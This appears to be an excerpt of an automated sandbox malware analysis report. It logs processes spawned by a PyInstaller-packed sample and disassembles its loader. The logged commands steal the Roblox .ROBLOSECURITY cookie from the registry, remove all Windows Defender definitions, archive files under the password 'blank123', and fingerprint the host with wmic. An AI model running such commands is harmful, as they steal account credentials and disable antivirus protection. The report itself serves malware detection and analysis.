Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff73b8c0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	05:22:14
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff77aff0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	05:22:14
Start date:	17/11/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff7eee90000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	05:22:14
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 9040, Parent PID: 9024

General

Target ID:	68
Start time:	05:22:14
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	05:22:14
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff73b8c0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	05:22:17
Start date:	17/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES93BE.tmp" "c:\Users\user\AppData\Local\Temp\tgmup5d5\CSC93ACBC84BC674220B3501D9F22ECFDE.TMP"
Imagebase:	0x7ff6ba320000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	05:22:17
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	05:22:17
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	05:22:17
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	05:22:19
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	05:22:19
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	05:22:20
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	05:22:25
Start date:	17/11/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff6d01f0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	05:22:32
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	05:22:32
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	05:22:32
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *
Imagebase:	0x7ff64fe50000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	05:22:33
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	05:22:33
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	05:22:34
Start date:	17/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff71fde0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	05:22:34
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	05:22:34
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	05:22:34
Start date:	17/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff71fde0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	05:22:36
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	05:22:36
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	05:22:36
Start date:	17/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff71fde0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	05:22:36
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	05:22:36
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	05:22:36
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	05:22:37
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	05:22:37
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	05:22:37
Start date:	17/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff71fde0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	05:22:38
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	05:22:38
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	05:22:38
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	36

Executed Functions

Function 00007FF6B75089E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B7509390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6B75045F4,00000000,00007FF6B7501985), ref: 00007FF6B75093C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508A56

Part of subcall function 00007FF6B751A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751A490

Part of subcall function 00007FF6B751871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7518783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508AE6
CreateProcessW.KERNELBASE ref: 00007FF6B7508B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508B28

Part of subcall function 00007FF6B7502C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502C9E
Part of subcall function 00007FF6B7502C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502D63
Part of subcall function 00007FF6B7502C50: MessageBoxW.USER32 ref: 00007FF6B7502D99

RegisterClassW.USER32 ref: 00007FF6B7508B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508B8B
CreateWindowExW.USER32 ref: 00007FF6B7508BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C15
PeekMessageW.USER32 ref: 00007FF6B7508C39
TranslateMessage.USER32 ref: 00007FF6B7508C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C51
PeekMessageW.USER32 ref: 00007FF6B7508C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508E04
GetExitCodeProcess.KERNELBASE ref: 00007FF6B7508E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6B7503F7F), ref: 00007FF6B7508E2F

Strings

Failed to create child process!, xrefs: 00007FF6B7508B30
PyInstallerOnefileHiddenWindow, xrefs: 00007FF6B7508B54
CreateProcessW, xrefs: 00007FF6B7508B37
PyInstaller Onefile Hidden Window, xrefs: 00007FF6B7508B95

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 0f916afd0678db3eecd8a898f3a7dbc4401063a93fe515aea3663798724dcb29
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 1AD15E33A0CB8686EB109F78E8546A93771FF94B58F400239DB9E96AB4DF3CE5458740

Function 00007FF6B7501000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Py_GIL_DISABLED, xrefs: 00007FF6B7503AF4
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF6B7503A17, 00007FF6B7503A2F, 00007FF6B7503A9B
Failed to remove temporary directory: %s, xrefs: 00007FF6B7503FCF
Failed to start splash screen!, xrefs: 00007FF6B7503ED4
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF6B7503A0B, 00007FF6B7503CD4, 00007FF6B7503F6B
Failed to load splash screen resources!, xrefs: 00007FF6B7503E85
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6B7503BE8
Failed to convert DLL search path!, xrefs: 00007FF6B7503DDC
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6B7503D12
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF6B7503B32
_PYI_SPLASH_IPC, xrefs: 00007FF6B7503A23, 00007FF6B7503EF5
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF6B7503E0A
pkg, xrefs: 00007FF6B75039BE
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6B7503EBB
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF6B7503D35
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6B7503971
_PYI_ARCHIVE_FILE, xrefs: 00007FF6B75038D2, 00007FF6B75039FF
pyi-python-flag, xrefs: 00007FF6B7503AD6
bye-runtime-tmpdir, xrefs: 00007FF6B7503B68
VCRUNTIME140.dll, xrefs: 00007FF6B7503DB1
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF6B7503882, 00007FF6B75038AF
MEI, xrefs: 00007FF6B7503933
pyi-disable-windowed-traceback, xrefs: 00007FF6B7503BB2
pyi-contents-directory, xrefs: 00007FF6B7503B8D
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6B7503C61
Could not create temporary directory!, xrefs: 00007FF6B7503CBF
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6B75039DE
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6B7503EA6

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 56efb0c328102eab1d406dba677a265d22c75a80e3e063e6a6bdbd0eb2694019
Instruction ID: f3c13057bcb0795d7ae581c6e9239222db61db7870566825c6748627edfbdb5b
Opcode Fuzzy Hash: 56efb0c328102eab1d406dba677a265d22c75a80e3e063e6a6bdbd0eb2694019
Instruction Fuzzy Hash: BE327923A0CA8291FB299B2DD4553B927A1AF44788F84443ADB5DC32F6EF2CF559C344

Function 00007FF6B7526964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B7526698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75266D9
Part of subcall function 00007FF6B7526698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7526757
Part of subcall function 00007FF6B7526698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75267A8

CreateFileW.KERNELBASE ref: 00007FF6B7526A6A
CreateFileW.KERNEL32 ref: 00007FF6B7526ABA
GetLastError.KERNEL32 ref: 00007FF6B7526AEA
GetFileType.KERNELBASE ref: 00007FF6B7526AFF
GetLastError.KERNEL32 ref: 00007FF6B7526B09
CloseHandle.KERNEL32 ref: 00007FF6B7526B3C
CloseHandle.KERNEL32 ref: 00007FF6B7526C9F
CreateFileW.KERNEL32 ref: 00007FF6B7526CD4
GetLastError.KERNEL32 ref: 00007FF6B7526CE3

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: cf893e351dc205a47d7644c89b0848d5f0e7030fc3451c5f0b844973060f5006
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 68C1AE37B28A4685EB10CFA9C4906AC3761FB49BA8F115239DF5E97BA4DF38E451C340

Function 00007FF6B75083C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

